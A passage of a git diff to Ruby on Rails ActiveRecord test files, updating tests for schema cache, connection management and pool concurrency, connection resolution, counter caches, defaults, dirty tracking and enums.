'time')" + end + def test_enum_type_with_value_matching_other_type assert_lookup_type :string, "ENUM('unicode', '8bit', 'none')" end diff --git a/activerecord/test/cases/connection_adapters/schema_cache_test.rb b/activerecord/test/cases/connection_adapters/schema_cache_test.rb index c7531f5418..db832fe55d 100644 --- a/activerecord/test/cases/connection_adapters/schema_cache_test.rb +++ b/activerecord/test/cases/connection_adapters/schema_cache_test.rb @@ -29,7 +29,7 @@ module ActiveRecord def test_clearing @cache.columns('posts') @cache.columns_hash('posts') - @cache.tables('posts') + @cache.data_sources('posts') @cache.primary_keys('posts') @cache.clear! @@ -40,17 +40,22 @@ module ActiveRecord def test_dump_and_load @cache.columns('posts') @cache.columns_hash('posts') - @cache.tables('posts') + @cache.data_sources('posts') @cache.primary_keys('posts') @cache = Marshal.load(Marshal.dump(@cache)) assert_equal 11, @cache.columns('posts').size assert_equal 11, @cache.columns_hash('posts').size - assert @cache.tables('posts') + assert @cache.data_sources('posts') assert_equal 'id', @cache.primary_keys('posts') end + def test_table_methods_deprecation + assert_deprecated { assert @cache.table_exists?('posts') } + assert_deprecated { assert @cache.tables('posts') } + assert_deprecated { @cache.clear_table_cache!('posts') } + end end end end diff --git a/activerecord/test/cases/connection_adapters/type_lookup_test.rb b/activerecord/test/cases/connection_adapters/type_lookup_test.rb index 05c57985a1..3acbafbff4 100644 --- a/activerecord/test/cases/connection_adapters/type_lookup_test.rb +++ b/activerecord/test/cases/connection_adapters/type_lookup_test.rb @@ -1,6 +1,6 @@ require "cases/helper" -unless current_adapter?(:PostgreSQLAdapter) # PostgreSQL does not use type strigns for lookup +unless current_adapter?(:PostgreSQLAdapter) # PostgreSQL does not use type strings for lookup module ActiveRecord module ConnectionAdapters class TypeLookupTest < ActiveRecord::TestCase @@ -81,7 +81,11 @@ module ActiveRecord def test_bigint_limit cast_type = @connection.type_map.lookup("bigint") - assert_equal 8, cast_type.limit + if current_adapter?(:OracleAdapter) + assert_equal 19, cast_type.limit + else + assert_equal 8, cast_type.limit + end end def test_decimal_without_scale diff --git a/activerecord/test/cases/connection_management_test.rb b/activerecord/test/cases/connection_management_test.rb index f53c496ecd..1f9b6add7a 100644 --- a/activerecord/test/cases/connection_management_test.rb +++ b/activerecord/test/cases/connection_management_test.rb @@ -4,6 +4,8 @@ require "rack" module ActiveRecord module ConnectionAdapters class ConnectionManagementTest < ActiveRecord::TestCase + self.use_transactional_tests = false + class App attr_reader :calls def initialize @@ -19,48 +21,20 @@ module ActiveRecord def setup @env = {} @app = App.new - @management = ConnectionManagement.new(@app) + @management = middleware(@app) # make sure we have an active connection assert ActiveRecord::Base.connection assert ActiveRecord::Base.connection_handler.active_connections? end - if Process.respond_to?(:fork) - def test_connection_pool_per_pid - object_id = ActiveRecord::Base.connection.object_id - - rd, wr = IO.pipe - rd.binmode - wr.binmode - - pid = fork { - rd.close - wr.write Marshal.dump ActiveRecord::Base.connection.object_id - wr.close - exit! - } - - wr.close - - Process.waitpid pid - assert_not_equal object_id, Marshal.load(rd.read) - rd.close - end - end - def test_app_delegation - manager = ConnectionManagement.new(@app) + manager = middleware(@app) manager.call @env assert_equal [@env], @app.calls end - def test_connections_are_active_after_call - @management.call(@env) - assert ActiveRecord::Base.connection_handler.active_connections? - end - def test_body_responds_to_each _, _, body = @management.call(@env) bits = [] @@ -74,49 +48,65 @@ module ActiveRecord assert !ActiveRecord::Base.connection_handler.active_connections? end - def test_active_connections_are_not_cleared_on_body_close_during_test - @env['rack.test'] = true - _, _, body = @management.call(@env) - body.close - assert ActiveRecord::Base.connection_handler.active_connections? + def test_active_connections_are_not_cleared_on_body_close_during_transaction + ActiveRecord::Base.transaction do + _, _, body = @management.call(@env) + body.close + assert ActiveRecord::Base.connection_handler.active_connections? + end end def test_connections_closed_if_exception app = Class.new(App) { def call(env); raise NotImplementedError; end }.new - explosive = ConnectionManagement.new(app) + explosive = middleware(app) assert_raises(NotImplementedError) { explosive.call(@env) } assert !ActiveRecord::Base.connection_handler.active_connections? end - def test_connections_not_closed_if_exception_and_test - @env['rack.test'] = true - app = Class.new(App) { def call(env); raise; end }.new - explosive = ConnectionManagement.new(app) - assert_raises(RuntimeError) { explosive.call(@env) } - assert ActiveRecord::Base.connection_handler.active_connections? - end - - def test_connections_closed_if_exception_and_explicitly_not_test - @env['rack.test'] = false - app = Class.new(App) { def call(env); raise NotImplementedError; end }.new - explosive = ConnectionManagement.new(app) - assert_raises(NotImplementedError) { explosive.call(@env) } - assert !ActiveRecord::Base.connection_handler.active_connections? + def test_connections_not_closed_if_exception_inside_transaction + ActiveRecord::Base.transaction do + app = Class.new(App) { def call(env); raise RuntimeError; end }.new + explosive = middleware(app) + assert_raises(RuntimeError) { explosive.call(@env) } + assert ActiveRecord::Base.connection_handler.active_connections? + end end test "doesn't clear active connections when running in a test case" do - @env['rack.test'] = true - @management.call(@env) - assert ActiveRecord::Base.connection_handler.active_connections? + executor.wrap do + @management.call(@env) + assert ActiveRecord::Base.connection_handler.active_connections? + end end - test "proxy is polite to it's body and responds to it" do + test "proxy is polite to its body and responds to it" do body = Class.new(String) { def to_path; "/path"; end }.new app = lambda { |_| [200, {}, body] } - response_body = ConnectionManagement.new(app).call(@env)[2] + response_body = middleware(app).call(@env)[2] assert response_body.respond_to?(:to_path) - assert_equal response_body.to_path, "/path" + assert_equal "/path", response_body.to_path + end + + test "doesn't mutate the original response" do + original_response = [200, {}, 'hi'] + app = lambda { |_| original_response } + middleware(app).call(@env)[2] + assert_equal 'hi', original_response.last end + + private + def executor + @executor ||= Class.new(ActiveSupport::Executor).tap do |exe| + ActiveRecord::QueryCache.install_executor_hooks(exe) + end + end + + def middleware(app) + lambda do |env| + a, b, c = executor.wrap { app.call(env) } + [a, b, Rack::BodyProxy.new(c) { }] + end + end end end end diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb index 8d15a76735..a45ee281c7 100644 --- a/activerecord/test/cases/connection_pool_test.rb +++ b/activerecord/test/cases/connection_pool_test.rb @@ -1,5 +1,5 @@ require "cases/helper" -require 'active_support/concurrency/latch' +require 'concurrent/atomic/count_down_latch' module ActiveRecord module ConnectionAdapters @@ -100,7 +100,7 @@ module ActiveRecord t = Thread.new { @pool.checkout } # make sure our thread is in the timeout section - Thread.pass until t.status == "sleep" + Thread.pass until @pool.num_waiting_in_queue == 1 connection = cs.first connection.close @@ -112,7 +112,7 @@ module ActiveRecord t = Thread.new { @pool.checkout } # make sure our thread is in the timeout section - Thread.pass until t.status == "sleep" + Thread.pass until @pool.num_waiting_in_queue == 1 connection = cs.first @pool.remove connection @@ -133,15 +133,15 @@ module ActiveRecord end def test_reap_inactive - ready = ActiveSupport::Concurrency::Latch.new + ready = Concurrent::CountDownLatch.new @pool.checkout child = Thread.new do @pool.checkout @pool.checkout - ready.release + ready.count_down Thread.stop end - ready.await + ready.wait assert_equal 3, active_connections(@pool).size @@ -204,13 +204,13 @@ module ActiveRecord end # The connection pool is "fair" if threads waiting for - # connections receive them the order in which they began + # connections receive them in the order in which they began # waiting. This ensures that we don't timeout one HTTP request # even while well under capacity in a multi-threaded environment # such as a Java servlet container. # # We don't need strict fairness: if two connections become - # available at the same time, it's fine of two threads that were + # available at the same time, it's fine if two threads that were # waiting acquire the connections out of order. # # Thus this test prepares waiting threads and then trickles in @@ -234,7 +234,7 @@ module ActiveRecord mutex.synchronize { errors << e } end } - Thread.pass until t.status == "sleep" + Thread.pass until @pool.num_waiting_in_queue == i t end @@ -271,7 +271,7 @@ module ActiveRecord mutex.synchronize { errors << e } end } - Thread.pass until t.status == "sleep" + Thread.pass until @pool.num_waiting_in_queue == i t end @@ -335,11 +335,189 @@ module ActiveRecord # is called with an anonymous class def test_anonymous_class_exception anonymous = Class.new(ActiveRecord::Base) - handler = ActiveRecord::Base.connection_handler - assert_raises(RuntimeError) { - handler.establish_connection anonymous, nil - } + assert_raises(RuntimeError) do + anonymous.establish_connection + end + end + + def test_pool_sets_connection_schema_cache + connection = pool.checkout + schema_cache = SchemaCache.new connection + schema_cache.add(:posts) + pool.schema_cache = schema_cache + + pool.with_connection do |conn| + assert_not_same pool.schema_cache, conn.schema_cache + assert_equal pool.schema_cache.size, conn.schema_cache.size + assert_same pool.schema_cache.columns(:posts), conn.schema_cache.columns(:posts) + end + + pool.checkin connection + end + + def test_concurrent_connection_establishment + assert_operator @pool.connections.size, :<=, 1 + + all_threads_in_new_connection = Concurrent::CountDownLatch.new(@pool.size - @pool.connections.size) + all_go = Concurrent::CountDownLatch.new + + @pool.singleton_class.class_eval do + define_method(:new_connection) do + all_threads_in_new_connection.count_down + all_go.wait + super() + end + end + + connecting_threads = [] + @pool.size.times do + connecting_threads << Thread.new { @pool.checkout } + end + + begin + Timeout.timeout(5) do + # the kernel of the whole test is here, everything else is just scaffolding, + # this latch will not be released unless conn. pool allows for concurrent + # connection creation + all_threads_in_new_connection.wait + end + rescue Timeout::Error + flunk 'pool unable to establish connections concurrently or implementation has ' << + 'changed, this test then needs to patch a different :new_connection method' + ensure + # clean up the threads + all_go.count_down + connecting_threads.map(&:join) + end + end + + def test_non_bang_disconnect_and_clear_reloadable_connections_throw_exception_if_threads_dont_return_their_conns + @pool.checkout_timeout = 0.001 # no need to delay test suite by waiting the whole full default timeout + [:disconnect, :clear_reloadable_connections].each do |group_action_method| + @pool.with_connection do |connection| + assert_raises(ExclusiveConnectionTimeoutError) do + Thread.new { @pool.send(group_action_method) }.join + end + end + end + end + + def test_disconnect_and_clear_reloadable_connections_attempt_to_wait_for_threads_to_return_their_conns + [:disconnect, :disconnect!, :clear_reloadable_connections, :clear_reloadable_connections!].each do |group_action_method| + begin + thread = timed_join_result = nil + @pool.with_connection do |connection| + thread = Thread.new { @pool.send(group_action_method) } + + # give the other `thread` some time to get stuck in `group_action_method` + timed_join_result = thread.join(0.3) + # thread.join # => `nil` means the other thread hasn't finished running and is still waiting for us to + # release our connection + assert_nil timed_join_result + + # assert that since this is within default timeout our connection hasn't been forcefully taken away from us + assert @pool.active_connection? + end + ensure + thread.join if thread && !timed_join_result # clean up the other thread + end + end + end + + def test_bang_versions_of_disconnect_and_clear_reloadable_connections_if_unable_to_aquire_all_connections_proceed_anyway + @pool.checkout_timeout = 0.001 # no need to delay test suite by waiting the whole full default timeout + [:disconnect!, :clear_reloadable_connections!].each do |group_action_method| + @pool.with_connection do |connection| + Thread.new { @pool.send(group_action_method) }.join + # assert connection has been forcefully taken away from us + assert_not @pool.active_connection? + end + end + end + + def test_disconnect_and_clear_reloadable_connections_are_able_to_preempt_other_waiting_threads + with_single_connection_pool do |pool| + [:disconnect, :disconnect!, :clear_reloadable_connections, :clear_reloadable_connections!].each do |group_action_method| + conn = pool.connection # drain the only available connection + second_thread_done = Concurrent::CountDownLatch.new + + # create a first_thread and let it get into the FIFO queue first + first_thread = Thread.new do + pool.with_connection { second_thread_done.wait } + end + + # wait for first_thread to get in queue + Thread.pass until pool.num_waiting_in_queue == 1 + + # create a different, later thread, that will attempt to do a "group action", + # but because of the group action semantics it should be able to preempt the + # first_thread when a connection is made available + second_thread = Thread.new do + pool.send(group_action_method) + second_thread_done.count_down + end + + # wait for second_thread to get in queue + Thread.pass until pool.num_waiting_in_queue == 2 + + # return the only available connection + pool.checkin(conn) + + # if the second_thread is not able to preempt the first_thread, + # they will temporarily (until either of them timeouts with ConnectionTimeoutError) + # deadlock and a join(2) timeout will be reached + failed = true unless second_thread.join(2) + + #--- post test clean up start + second_thread_done.count_down if failed + + # after `pool.disconnect()` the first thread will be left stuck in queue, no need to wait for + # it to timeout with ConnectionTimeoutError + if (group_action_method == :disconnect || group_action_method == :disconnect!) && pool.num_waiting_in_queue > 0 + pool.with_connection {} # create a new connection in case there are threads still stuck in a queue + end + + first_thread.join + second_thread.join + #--- post test clean up end + + flunk "#{group_action_method} is not able to preempt other waiting threads" if failed + end + end + end + + def test_clear_reloadable_connections_creates_new_connections_for_waiting_threads_if_necessary + with_single_connection_pool do |pool| + conn = pool.connection # drain the only available connection + def conn.requires_reloading? # make sure it gets removed from the pool by clear_reloadable_connections + true + end + + stuck_thread = Thread.new do + pool.with_connection {} + end + + # wait for stuck_thread to get in queue + Thread.pass until pool.num_waiting_in_queue == 1 + + pool.clear_reloadable_connections + + unless stuck_thread.join(2) + flunk 'clear_reloadable_connections must not let other connection waiting threads get stuck in queue' + end + + assert_equal 0, pool.num_waiting_in_queue + end + end + + private + def with_single_connection_pool + one_conn_spec = ActiveRecord::Base.connection_pool.spec.dup + one_conn_spec.config[:pool] = 1 # this is safe to do, because .dupped ConnectionSpecification also auto-dups its config + yield(pool = ConnectionPool.new(one_conn_spec)) + ensure + pool.disconnect! if pool end end end diff --git a/activerecord/test/cases/connection_specification/resolver_test.rb b/activerecord/test/cases/connection_specification/resolver_test.rb index 3c2f5d4219..3bddaf32ec 100644 --- a/activerecord/test/cases/connection_specification/resolver_test.rb +++ b/activerecord/test/cases/connection_specification/resolver_test.rb @@ -57,6 +57,12 @@ module ActiveRecord "encoding" => "utf8" }, spec) end + def test_url_missing_scheme + spec = resolve 'foo' + assert_equal({ + "database" => "foo" }, spec) + end + def test_url_host_db spec = resolve 'abstract://foo/bar?encoding=utf8' assert_equal({ @@ -110,6 +116,15 @@ module ActiveRecord "encoding" => "utf8" }, spec) end + def test_spec_name_on_key_lookup + spec = spec(:readonly, 'readonly' => {'adapter' => 'sqlite3'}) + assert_equal "readonly", spec.name + end + + def test_spec_name_with_inline_config + spec = spec({'adapter' => 'sqlite3'}) + assert_equal "primary", spec.name, "should default to primary id" + end end end end diff --git a/activerecord/test/cases/counter_cache_test.rb b/activerecord/test/cases/counter_cache_test.rb index 1f5055b2a2..66b4c3f1ff 100644 --- a/activerecord/test/cases/counter_cache_test.rb +++ b/activerecord/test/cases/counter_cache_test.rb @@ -1,6 +1,7 @@ require 'cases/helper' require 'models/topic' require 'models/car' +require 'models/aircraft' require 'models/wheel' require 'models/engine' require 'models/reply' @@ -150,7 +151,7 @@ class CounterCacheTest < ActiveRecord::TestCase test "reset the right counter if two have the same foreign key" do michael = people(:michael) - assert_nothing_raised(ActiveRecord::StatementInvalid) do + assert_nothing_raised do Person.reset_counters(michael.id, :friends_too) end end @@ -198,4 +199,16 @@ class CounterCacheTest < ActiveRecord::TestCase assert_equal 2, car.engines_count assert_equal 2, car.reload.engines_count end + + test "update counters in a polymorphic relationship" do + aircraft = Aircraft.create! + + assert_difference 'aircraft.reload.wheels_count' do + aircraft.wheels << Wheel.create! + end + + assert_difference 'aircraft.reload.wheels_count', -1 do + aircraft.wheels.first.destroy + end + end end diff --git a/activerecord/test/cases/custom_locking_test.rb b/activerecord/test/cases/custom_locking_test.rb index e8290297e3..26d015bf71 100644 --- a/activerecord/test/cases/custom_locking_test.rb +++ b/activerecord/test/cases/custom_locking_test.rb @@ -6,7 +6,7 @@ module ActiveRecord fixtures :people def test_custom_lock - if current_adapter?(:MysqlAdapter, :Mysql2Adapter) + if current_adapter?(:Mysql2Adapter) assert_match 'SHARE MODE', Person.lock('LOCK IN SHARE MODE').to_sql assert_sql(/LOCK IN SHARE MODE/) do Person.all.merge!(:lock => 'LOCK IN SHARE MODE').find(1) diff --git a/activerecord/test/cases/database_statements_test.rb b/activerecord/test/cases/database_statements_test.rb index c689e97d83..3169408ac0 100644 --- a/activerecord/test/cases/database_statements_test.rb +++ b/activerecord/test/cases/database_statements_test.rb @@ -6,14 +6,29 @@ class DatabaseStatementsTest < ActiveRecord::TestCase end def test_insert_should_return_the_inserted_id + assert_not_nil return_the_inserted_id(method: :insert) + end + + def test_create_should_return_the_inserted_id + assert_not_nil return_the_inserted_id(method: :create) + end + + def test_insert_update_delete_sql_is_deprecated + assert_deprecated { @connection.insert_sql("INSERT INTO accounts (firm_id,credit_limit) VALUES (42,5000)") } + assert_deprecated { @connection.update_sql("UPDATE accounts SET credit_limit = 6000 WHERE firm_id = 42") } + assert_deprecated { @connection.delete_sql("DELETE FROM accounts WHERE firm_id = 42") } + end + + private + + def return_the_inserted_id(method:) # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method if current_adapter?(:OracleAdapter) sequence_name = "accounts_seq" id_value = @connection.next_sequence_value(sequence_name) - id = @connection.insert("INSERT INTO accounts (id, firm_id,credit_limit) VALUES (accounts_seq.nextval,42,5000)", nil, :id, id_value, sequence_name) + @connection.send(method, "INSERT INTO accounts (id, firm_id,credit_limit) VALUES (accounts_seq.nextval,42,5000)", nil, :id, id_value, sequence_name) else - id = @connection.insert("INSERT INTO accounts (firm_id,credit_limit) VALUES (42,5000)") + @connection.send(method, "INSERT INTO accounts (firm_id,credit_limit) VALUES (42,5000)") end - assert_not_nil id end end diff --git a/activerecord/test/cases/date_time_precision_test.rb b/activerecord/test/cases/date_time_precision_test.rb index 698f1b852e..f8664d83bd 100644 --- a/activerecord/test/cases/date_time_precision_test.rb +++ b/activerecord/test/cases/date_time_precision_test.rb @@ -1,7 +1,7 @@ require 'cases/helper' require 'support/schema_dumping_helper' -if ActiveRecord::Base.connection.supports_datetime_with_precision? +if subsecond_precision_supported? class DateTimePrecisionTest < ActiveRecord::TestCase include SchemaDumpingHelper self.use_transactional_tests = false @@ -10,6 +10,7 @@ class DateTimePrecisionTest < ActiveRecord::TestCase setup do @connection = ActiveRecord::Base.connection + Foo.reset_column_information end teardown do @@ -20,24 +21,24 @@ class DateTimePrecisionTest < ActiveRecord::TestCase @connection.create_table(:foos, force: true) @connection.add_column :foos, :created_at, :datetime, precision: 0 @connection.add_column :foos, :updated_at, :datetime, precision: 5 - assert_equal 0, activerecord_column_option('foos', 'created_at', 'precision') - assert_equal 5, activerecord_column_option('foos', 'updated_at', 'precision') + assert_equal 0, Foo.columns_hash['created_at'].precision + assert_equal 5, Foo.columns_hash['updated_at'].precision end def test_timestamps_helper_with_custom_precision @connection.create_table(:foos, force: true) do |t| t.timestamps precision: 4 end - assert_equal 4, activerecord_column_option('foos', 'created_at', 'precision') - assert_equal 4, activerecord_column_option('foos', 'updated_at', 'precision') + assert_equal 4, Foo.columns_hash['created_at'].precision + assert_equal 4, Foo.columns_hash['updated_at'].precision end def test_passing_precision_to_datetime_does_not_set_limit @connection.create_table(:foos, force: true) do |t| t.timestamps precision: 4 end - assert_nil activerecord_column_option('foos', 'created_at', 'limit') - assert_nil activerecord_column_option('foos', 'updated_at', 'limit') + assert_nil Foo.columns_hash['created_at'].limit + assert_nil Foo.columns_hash['updated_at'].limit end def test_invalid_datetime_precision_raises_error @@ -48,14 +49,6 @@ class DateTimePrecisionTest < ActiveRecord::TestCase end end - def test_database_agrees_with_activerecord_about_precision - @connection.create_table(:foos, force: true) do |t| - t.timestamps precision: 4 - end - assert_equal 4, database_datetime_precision('foos', 'created_at') - assert_equal 4, database_datetime_precision('foos', 'updated_at') - end - def test_formatting_datetime_according_to_precision @connection.create_table(:foos, force: true) do |t| t.datetime :created_at, precision: 0 @@ -91,21 +84,5 @@ class DateTimePrecisionTest < ActiveRecord::TestCase end end - private - - def database_datetime_precision(table_name, column_name) - results = @connection.exec_query("SELECT column_name, datetime_precision FROM information_schema.columns WHERE table_name = '#{table_name}'") - result = results.find do |result_hash| - result_hash["column_name"] == column_name - end - result && result["datetime_precision"].to_i - end - - def activerecord_column_option(tablename, column_name, option) - result = @connection.columns(tablename).find do |column| - column.name == column_name - end - result && result.send(option) - end end end diff --git a/activerecord/test/cases/defaults_test.rb b/activerecord/test/cases/defaults_test.rb index 67fddebf45..067513e24c 100644 --- a/activerecord/test/cases/defaults_test.rb +++ b/activerecord/test/cases/defaults_test.rb @@ -1,20 +1,14 @@ require "cases/helper" +require 'support/schema_dumping_helper' require 'models/default' require 'models/entrant' class DefaultTest < ActiveRecord::TestCase def test_nil_defaults_for_not_null_columns - column_defaults = - if current_adapter?(:MysqlAdapter) && (Mysql.client_version < 50051 || (50100..50122).include?(Mysql.client_version)) - { 'id' => nil, 'name' => '', 'course_id' => nil } - else - { 'id' => nil, 'name' => nil, 'course_id' => nil } - end - - column_defaults.each do |name, default| + %w(id name course_id).each do |name| column = Entrant.columns_hash[name] assert !column.null, "#{name} column should be NOT NULL" - assert_equal default, column.default, "#{name} column should be DEFAULT #{default.inspect}" + assert_not column.default, "#{name} column should be DEFAULT 'nil'" end end @@ -87,7 +81,32 @@ class DefaultStringsTest < ActiveRecord::TestCase end end -if current_adapter?(:MysqlAdapter, :Mysql2Adapter) +if current_adapter?(:PostgreSQLAdapter) + class PostgresqlDefaultExpressionTest < ActiveRecord::TestCase + include SchemaDumpingHelper + + test "schema dump includes default expression" do + output = dump_table_schema("defaults") + assert_match %r/t\.date\s+"modified_date",\s+default: -> { "\('now'::text\)::date" }/, output + assert_match %r/t\.date\s+"modified_date_function",\s+default: -> { "now\(\)" }/, output + assert_match %r/t\.datetime\s+"modified_time",\s+default: -> { "now\(\)" }/, output + assert_match %r/t\.datetime\s+"modified_time_function",\s+default: -> { "now\(\)" }/, output + end + end +end + +if current_adapter?(:Mysql2Adapter) + class MysqlDefaultExpressionTest < ActiveRecord::TestCase + include SchemaDumpingHelper + + if ActiveRecord::Base.connection.version >= '5.6.0' + test "schema dump includes default expression" do + output = dump_table_schema("datetime_defaults") + assert_match %r/t\.datetime\s+"modified_datetime",\s+default: -> { "CURRENT_TIMESTAMP" }/, output + end + end + end + class DefaultsTestWithoutTransactionalFixtures < ActiveRecord::TestCase # ActiveRecord::Base#create! (and #save and other related methods) will # open a new transaction. When in transactional tests mode, this will @@ -182,8 +201,7 @@ if current_adapter?(:MysqlAdapter, :Mysql2Adapter) assert_equal '0', klass.columns_hash['zero'].default assert !klass.columns_hash['zero'].null - # 0 in MySQL 4, nil in 5. - assert [0, nil].include?(klass.columns_hash['omit'].default) + assert_equal nil, klass.columns_hash['omit'].default assert !klass.columns_hash['omit'].null assert_raise(ActiveRecord::StatementInvalid) { klass.create! } diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb index 3a7cc572e6..a3f8d26100 100644 --- a/activerecord/test/cases/dirty_test.rb +++ b/activerecord/test/cases/dirty_test.rb @@ -37,8 +37,8 @@ class DirtyTest < ActiveRecord::TestCase def test_attribute_changes # New record - no changes. pirate = Pirate.new - assert !pirate.catchphrase_changed? - assert_nil pirate.catchphrase_change + assert_equal false, pirate.catchphrase_changed? + assert_equal false, pirate.non_validated_parrot_id_changed? # Change catchphrase. pirate.catchphrase = 'arrr' @@ -89,7 +89,7 @@ class DirtyTest < ActiveRecord::TestCase target = Class.new(ActiveRecord::Base) target.table_name = 'pirates' - pirate = target.create + pirate = target.create! pirate.created_on = pirate.created_on assert !pirate.created_on_changed? end @@ -467,8 +467,10 @@ class DirtyTest < ActiveRecord::TestCase topic.save! updated_at = topic.updated_at - topic.content[:hello] = 'world' - topic.save! + travel(1.second) do + topic.content[:hello] = 'world' + topic.save! + end assert_not_equal updated_at, topic.updated_at assert_equal 'world', topic.content[:hello] @@ -521,6 +523,9 @@ class DirtyTest < ActiveRecord::TestCase assert_equal Hash.new, pirate.previous_changes pirate = Pirate.find_by_catchphrase("arrr") + + travel(1.second) + pirate.catchphrase = "Me Maties!" pirate.save! @@ -532,6 +537,9 @@ class DirtyTest < ActiveRecord::TestCase assert !pirate.previous_changes.key?('created_on') pirate = Pirate.find_by_catchphrase("Me Maties!") + + travel(1.second) + pirate.catchphrase = "Thar She Blows!" pirate.save @@ -542,6 +550,8 @@ class DirtyTest < ActiveRecord::TestCase assert !pirate.previous_changes.key?('parrot_id') assert !pirate.previous_changes.key?('created_on') + travel(1.second) + pirate = Pirate.find_by_catchphrase("Thar She Blows!") pirate.update(catchphrase: "Ahoy!") @@ -552,6 +562,8 @@ class DirtyTest < ActiveRecord::TestCase assert !pirate.previous_changes.key?('parrot_id') assert !pirate.previous_changes.key?('created_on') + travel(1.second) + pirate = Pirate.find_by_catchphrase("Ahoy!") pirate.update_attribute(:catchphrase, "Ninjas suck!") @@ -561,6 +573,8 @@ class DirtyTest < ActiveRecord::TestCase assert_not_nil pirate.previous_changes['updated_on'][1] assert !pirate.previous_changes.key?('parrot_id') assert !pirate.previous_changes.key?('created_on') + ensure + travel_back end if ActiveRecord::Base.connection.supports_migrations? @@ -578,6 +592,7 @@ class DirtyTest < ActiveRecord::TestCase end def test_datetime_attribute_can_be_updated_with_fractional_seconds + skip "Fractional seconds are not supported" unless subsecond_precision_supported? in_time_zone 'Paris' do target = Class.new(ActiveRecord::Base) target.table_name = 'topics' @@ -623,32 +638,6 @@ class DirtyTest < ActiveRecord::TestCase end end - test "defaults with type that implements `serialize`" do - type = Class.new(ActiveRecord::Type::Value) do - def cast(value) - value.to_i - end - - def serialize(value) - value.to_s - end - end - - model_class = Class.new(ActiveRecord::Base) do - self.table_name = 'numeric_data' - attribute :foo, type.new, default: 1 - end - - model = model_class.new - assert_not model.foo_changed? - - model = model_class.new(foo: 1) - assert_not model.foo_changed? - - model = model_class.new(foo: '1') - assert_not model.foo_changed? - end - test "in place mutation detection" do pirate = Pirate.create!(catchphrase: "arrrr") pirate.catchphrase << " matey!" @@ -729,6 +718,22 @@ class DirtyTest < ActiveRecord::TestCase assert pirate.catchphrase_changed?(from: "arrrr", to: "arrrr matey!") end + test "getters with side effects are allowed" do + klass = Class.new(Pirate) do + def catchphrase + if super.blank? + update_attribute(:catchphrase, "arr") # what could possibly go wrong? + end + super + end + end + + pirate = klass.create!(catchphrase: "lol") + pirate.update_attribute(:catchphrase, nil) + + assert_equal "arr", pirate.catchphrase + end + private def with_partial_writes(klass, on = true) old = klass.partial_writes? diff --git a/activerecord/test/cases/disconnected_test.rb b/activerecord/test/cases/disconnected_test.rb index 55f0e51717..c25089a420 100644 --- a/activerecord/test/cases/disconnected_test.rb +++ b/activerecord/test/cases/disconnected_test.rb @@ -21,7 +21,9 @@ class TestDisconnectedAdapter < ActiveRecord::TestCase @connection.execute "SELECT count(*) from products" @connection.disconnect! assert_raises(ActiveRecord::StatementInvalid) do - @connection.execute "SELECT count(*) from products" + silence_warnings do + @connection.execute "SELECT count(*) from products" + end end end end diff --git a/activerecord/test/cases/enum_test.rb b/activerecord/test/cases/enum_test.rb index eea184e530..babacd1ee9 100644 --- a/activerecord/test/cases/enum_test.rb +++ b/activerecord/test/cases/enum_test.rb @@ -9,69 +9,83 @@ class EnumTest < ActiveRecord::TestCase end test "query state by predicate" do - assert @book.proposed? + assert @book.published? assert_not @book.written? - assert_not @book.published? + assert_not @book.proposed? - assert @book.unread? + assert @book.read? + assert @book.in_english? + assert @book.author_visibility_visible? + assert @book.illustrator_visibility_visible? + assert @book.with_medium_font_size? end test "query state with strings" do - assert_equal "proposed", @book.status - assert_equal "unread", @book.read_status + assert_equal "published", @book.status + assert_equal "read", @book.read_status + assert_equal "english", @book.language + assert_equal "visible", @book.author_visibility + assert_equal "visible", @book.illustrator_visibility end test "find via scope" do - assert_equal @book, Book.proposed.first - assert_equal @book, Book.unread.first + assert_equal @book, Book.published.first + assert_equal @book, Book.read.first + assert_equal @book, Book.in_english.first + assert_equal @book, Book.author_visibility_visible.first + assert_equal @book, Book.illustrator_visibility_visible.first end test "find via where with values" do - proposed, written = Book.statuses[:proposed], Book.statuses[:written] + published, written = Book.statuses[:published], Book.statuses[:written] - assert_equal @book, Book.where(status: proposed).first - refute_equal @book, Book.where(status: written).first - assert_equal @book, Book.where(status: [proposed]).first - refute_equal @book, Book.where(status: [written]).first - refute_equal @book, Book.where("status <> ?", proposed).first + assert_equal @book, Book.where(status: published).first + assert_not_equal @book, Book.where(status: written).first + assert_equal @book, Book.where(status: [published]).first + assert_not_equal @book, Book.where(status: [written]).first + assert_not_equal @book, Book.where("status <> ?", published).first assert_equal @book, Book.where("status <> ?", written).first end test "find via where with symbols" do - assert_equal @book, Book.where(status: :proposed).first - refute_equal @book, Book.where(status: :written).first - assert_equal @book, Book.where(status: [:proposed]).first - refute_equal @book, Book.where(status: [:written]).first - refute_equal @book, Book.where.not(status: :proposed).first + assert_equal @book, Book.where(status: :published).first + assert_not_equal @book, Book.where(status: :written).first + assert_equal @book, Book.where(status: [:published]).first + assert_not_equal @book, Book.where(status: [:written]).first + assert_not_equal @book, Book.where.not(status: :published).first assert_equal @book, Book.where.not(status: :written).first end test "find via where with strings" do - assert_equal @book, Book.where(status: "proposed").first - refute_equal @book, Book.where(status: "written").first - assert_equal @book, Book.where(status: ["proposed"]).first - refute_equal @book, Book.where(status: ["written"]).first - refute_equal @book, Book.where.not(status: "proposed").first + assert_equal @book, Book.where(status: "published").first + assert_not_equal @book, Book.where(status: "written").first + assert_equal @book, Book.where(status: ["published"]).first + assert_not_equal @book, Book.where(status: ["written"]).first + assert_not_equal @book, Book.where.not(status: "published").first assert_equal @book, Book.where.not(status: "written").first end test "build from scope" do assert Book.written.build.written? - refute Book.written.build.proposed? + assert_not Book.written.build.proposed? end test "build from where" do assert Book.where(status: Book.statuses[:written]).build.written? - refute Book.where(status: Book.statuses[:written]).build.proposed? + assert_not Book.where(status: Book.statuses[:written]).build.proposed? assert Book.where(status: :written).build.written? - refute Book.where(status: :written).build.proposed? + assert_not Book.where(status: :written).build.proposed? assert Book.where(status: "written").build.written? - refute Book.where(status: "written").build.proposed? + assert_not Book.where(status: "written").build.proposed? end test "update by declaration" do @book.written! assert @book.written? + @book.in_english! + assert @book.in_english? + @book.author_visibility_visible! + assert @book.author_visibility_visible? end test "update by setter" do @@ -96,42 +110,61 @@ class EnumTest < ActiveRecord::TestCase test "enum changed attributes" do old_status = @book.status - @book.status = :published + old_language = @book.language + @book.status = :proposed + @book.language = :spanish assert_equal old_status, @book.changed_attributes[:status] + assert_equal old_language, @book.changed_attributes[:language] end test "enum changes" do old_status = @book.status - @book.status = :published - assert_equal [old_status, 